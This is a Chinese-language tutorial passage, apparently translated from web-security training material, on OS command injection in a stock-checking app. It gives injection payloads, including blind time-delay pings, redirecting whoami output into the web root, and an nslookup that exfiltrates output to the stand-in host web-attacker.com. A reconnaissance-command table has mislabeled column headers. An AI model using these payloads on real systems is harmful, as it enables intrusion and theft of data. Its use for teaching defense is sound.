考虑一个购物应用程序,它允许用户查看某个商品在特定商店中是否有库存。此信息可通过以下 URL 访问
https://insecure-website.com/stockStatus?productID=381&storeID=29
为了提供商品信息,应用程序必须查询各种遗留系统。由于历史原因,该功能是通过调用带有产品和商店 ID 作为参数的 shell 命令来实现的
stockreport.pl 381 29
由于应用程序没有针对操作系统命令注入实施任何防御,攻击者可以提交以下输入来执行任意命令
& echo aiwefwlguh &##
| 有用的命令| 命令的目的 | Linux |
| 当前用户名 | whoami | whoami |
| 操作系统 | uname -a | ver |
| 网络配置 | ifconfig | ipconfig /all |
| 网络连接 | netstat -an | netstat -an |
| 运行进程 | ps -ef | tasklist |
盲注命令注入
& ping -c 10 127.0.0.1 &
您可以将注入命令的输出重定向到 Web 根目录中的文件,然后您可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置提供静态资源/var/www/static,那么您可以提交以下输入
### & whoami > /var/www/static/whoami.txt &
该>字符将whoami命令的输出发送到指定的文件。然后,您可以使用浏览器获取
https://vulnerable-website.com/whoami.txt
以检索文件,并查看注入命令的输出
& nslookup kgji2ohoyw.web-attacker.com && nslookup whoami.kgji2ohoyw.web-attacker.com &
注入操作系统命令的方法
